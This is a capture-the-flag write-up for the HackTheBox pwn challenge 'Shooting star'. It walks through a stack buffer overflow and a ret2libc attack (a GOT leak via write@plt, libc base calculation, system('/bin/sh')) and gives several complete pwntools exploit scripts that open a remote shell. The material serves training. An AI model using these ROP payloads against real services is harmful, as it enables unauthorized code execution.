← Back to Writeups
HTBN/APwn

Shooting star

XESXOR8/23/20268 min read
#pwn#htb#n/a

Shooting star

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Tired of exploring the never-ending world, you lie down and enjoy the crystal clear sky. Over a million stars above your head! Enjoy the silence and the glorious stars while you rest.

Solution Approach

Core idea: Buffer Overflow (Stack-Based Exploitation). Leaking libc runtime using write@got and pop_rsi_r15 gadget.

Steps

  1. First, unzip the .zip file given.

  2. Next, check the type of file we got.

  3. It's a 64 bit binary file, dynamically linked, and not stripped, hence it's easier for us to debug and identify the functions.

  4. Now check the binary's protection.

  5. Let us make the file executeable by run chmod, then run the file in gdb.

  6. Let us choose option 1.

  7. Let us paste 1024 cyclic pattern.

  8. Find the correct bytes to overflow the buffer.

  9. It's 72 bytes.

  10. Now let us check all the functions available.

  11. A function caught my attention -> setup() func.

  12. Let us decompile the binary using ghidra.

  13. Check the star() function.

  14. Notice the program reads more buffer from local_48.

  15. We found the vuln there.

  16. I think the concept here is ret2libc, because there's not system() function, but only reads() and write(), both are come from the libc library.

  17. Now we need to leak the .got address.

  18. First, let us get the pop_rdi value from the binary using ropper. We need pop RDI gadget to pass sh to system().

ropper --file shooting_star --search "pop rdi"
  1. Next, get the pop_rsi value. We need pop RSI to put got.write address in (before leak the got via plt.write.
ropper --file shooting_star --search "pop rsi"
  1. Now to leak the got address , the payloads we need to send are:
paddingBytes - pop_rsi_r15 - elf.got.write - 0x0 - elf.plt.write - elf.symbols.main

NOTES:
- pop_rsi_r15 -> pop the following value from stack into RSI.
- elf.got.write -> address of write() in GOT.
- 0x0 -> as a junk , cause we don't need anything in r15.
- elf.plt.write -> need to call plt.write() to print address of got.write()
- elf.symbols.main -> return to the beginning/start of the `star()` function.
  1. Here are our script so far:
from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.GDB:  
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

def find_ip(payload):
    p = process(exe)
    p.sendlineafter('>', '1')
    p.sendlineafter('>>', payload)
    p.wait() # wait for the process to crash

    # Print out the address of EIP/RIP at the time of crashing
    # ip_offset = cyclic_find(p.corefile.pc)  # x86
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

gdbscript = '''
init-pwndbg
break main
'''.format(**locals())

exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

### EXPLOITATION

paddingBytes = find_ip(cyclic(1024))

io = start()
pop_rdi = 0x4012cb
pop_rsi_r15 = 0x4012c9  

payload = flat(
    {paddingBytes: [
        pop_rsi_r15,  # Pop the following value from stack into RSI
        elf.got.write,  # Address of write() in GOT
        0x0,  # Don't need anything in r15
        elf.plt.write,  # Call plt.write() to print address of got.write()
        elf.symbols.main  # Return to beginning of star function
    ]}
)

### Send the payload

io.sendlineafter('>', '1')
io.sendlineafter('>>', payload)
io.recvuntil('May your wish come true!\n') 
leaked_addr = io.recv() # got the address printed out in hex
got_write = unpack(leaked_addr[:6].ljust(8, b"\x00"))
info("leaked got_write: %#x", got_write)

OUTPUT

  1. We leaked the got_write address.

  2. To get our libc base address. let us run ldd to the binary.

  3. Then run readelf to get the offset of write from the libc.

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write
  1. To calculate the libc base address we need to substract the address of got_write to write address from libc.
libc_baseAddr = got_write - writeAddr_fromLibc
  1. Next, to get the system address need to addition libc_baseAddr to systemAddr from the libc.
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system

GET THE SYSTEM ADDR FROM LIBC

  1. Now get the address of bin/sh.
strings -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
  1. Finally we just need to build the actual payload using the system() address this time.
paddingBytes - pop_rdi - bin_sh - system_addr
  1. So here is our final script.

FINAL SCRIPT - RET2LIBC

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:  
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

def find_ip(payload):
    p = process(exe)
    p.sendlineafter('>', '1')
    p.sendlineafter('>>', payload)
    p.wait() # wait for the process to crash

    # Print out the address of EIP/RIP at the time of crashing
    # ip_offset = cyclic_find(p.corefile.pc)  # x86
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset
    
exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

### EXPLOITATION

paddingBytes = find_ip(cyclic(1024))

sh = start()
pop_rdi = 0x4012cb
pop_rsi_r15 = 0x4012c9  
info("%#x pop_rdi", pop_rdi) # format this into hex
info("%#x pop_rsi_r15", pop_rsi_r15) # format this into hex

payload = flat(
    {paddingBytes: [
        pop_rsi_r15,  # Pop the following value from stack into RSI
        elf.got.write,  # Address of write() in GOT
        0x0,  # Don't need anything in r15
        elf.plt.write,  # Call plt.write() to print address of got.write()
        elf.symbols.main  # Return to beginning of star function
    ]}
)

sh.sendlineafter('>', '1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n') 
leaked_addr = sh.recv() # got the address printed out in hex
got_write = unpack(leaked_addr[:6].ljust(8, b"\x00"))
info("leaked got_write: %#x", got_write)

libc_base = got_write - 0xf8180 
info("libc_base: %#x", libc_base)

system_addr = libc_base + 0x4c330
info("system_addr: %#x", system_addr)

bin_sh = libc_base + 0x196031
info("bin_sh: %#x", bin_sh)

payload = flat(
    {paddingBytes: [
        pop_rdi,  
        bin_sh, 
        system_addr  
    ]}
)

sh.sendline('1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')

sh.interactive()

OUTPUT - LOCAL

  1. Got the shell! Now test it remotely.

  2. Got segmentation fault here. Confused here.

  3. So i check the forum and got a hint that we need to check what versions of LIBC is running on the remote server.

  4. We can search that using this web application.

  5. Using our leaked got address, paste it on the we app and click find.

  6. Click on this one.

  7. Copy the write, system, and bin/sh offset.

  8. Now let us run the script again remotely.

REALLY FINAL THIS TIME!

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:  
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

def find_ip(payload):
    p = process(exe)
    p.sendlineafter('>', '1')
    p.sendlineafter('>>', payload)
    p.wait() # wait for the process to crash

    # Print out the address of EIP/RIP at the time of crashing
    # ip_offset = cyclic_find(p.corefile.pc)  # x86
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

### EXPLOITATION

paddingBytes = find_ip(cyclic(1024))

sh = start()
pop_rdi = 0x4012cb
pop_rsi_r15 = 0x4012c9  
info("%#x pop_rdi", pop_rdi) # format this into hex
info("%#x pop_rsi_r15", pop_rsi_r15) # format this into hex

payload = flat(
    {paddingBytes: [
        pop_rsi_r15,  # Pop the following value from stack into RSI
        elf.got.write,  # Address of write() in GOT
        0x0,  # Don't need anything in r15
        elf.plt.write,  # Call plt.write() to print address of got.write()
        elf.symbols.main  # Return to beginning of star function
    ]}
)

sh.sendlineafter('>', '1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n') 
leaked_addr = sh.recv() # got the address printed out in hex
got_write = unpack(leaked_addr[:6].ljust(8, b"\x00"))
info("leaked got_write: %#x", got_write)

libc_base = got_write - 0x110210 #remote write offset | #0xf8180 - our write offset
info("libc_base: %#x", libc_base)

system_addr = libc_base +  0x04f550 # system offset | #0x4c330 - our system offset
info("system_addr: %#x", system_addr)

bin_sh = libc_base + 0x1b3e1a #remote bin/sh offset | #0x196031 - our bin/sh offset
info("bin_sh: %#x", bin_sh)

payload = flat(
    {paddingBytes: [
        pop_rdi,  
        bin_sh, 
        system_addr  
    ]}
)

sh.sendline('1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')

sh.interactive()
  1. Got the flag!

ALTERNATE SOLVER

import os
from pwn import *

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

sh = start()

padding = b'A' * 72

pop_rdi = 0x00000000004012cb
info('pop_rdi_gadget --> %#0x', pop_rdi)

pop_rsi_r15 = 0x00000000004012c9
info('pop rsi r15 --> %#0x', pop_rsi_r15)

p = flat([
    padding,
    pop_rsi_r15,
    elf.got['write'],
    0x0,
    elf.plt['write'],
    elf.sym['main']
])

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>>', p)
sh.recvline()
sh.recvline()
get = sh.recv()

print('[+] Grabbed leaked libc addr -->', get)

#strip_it = get.strip()
#print('This is the stripped ones -->', strip_it)

leaked = get[:6]
print('Grabbed leaked -->', leaked)
leaked_libc = unpack(leaked.ljust(8,b'\x00'))
info('This is the leaked libc_address --> %#0x', leaked_libc)

#leaked = unpack(strip_it.ljust(8, b'\x00'))
#print(leaked)

#library = './libc6_2.5-0ubuntu14_i386.so'
library = './libc6_2.27-3ubuntu1.4_amd64.so'
libc = context.binary = ELF(library, checksec=False)

info('libc_write --> %#0x', libc.sym['write'])

libc_base = leaked_libc - libc.sym['write']
info('libc_base --> %#0x', libc_base)

system_addr = libc_base + 0x000000000004f550
info('system_addr --> %#0x', system_addr)

binsh_addr = libc_base + 0x1b3e1a
info('binsh_addr --> %#0x', binsh_addr)

pay = flat([
    padding,
    pop_rdi,
    binsh_addr,
    system_addr
])

sh.sendline(b'1')
#sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>>', pay)

sh.interactive()

NOTES: It failed locally, but succeed remotely. (the problem still the same as before, the remote libc library used is different).

Flag

REDACTED

Lessons Learned

  1. Buffer Overflow (Stack-Based Exploitation).
  2. Leaking libc runtime using write@got and pop_rsi_r15 gadget.
  3. Implement ret2libc attack.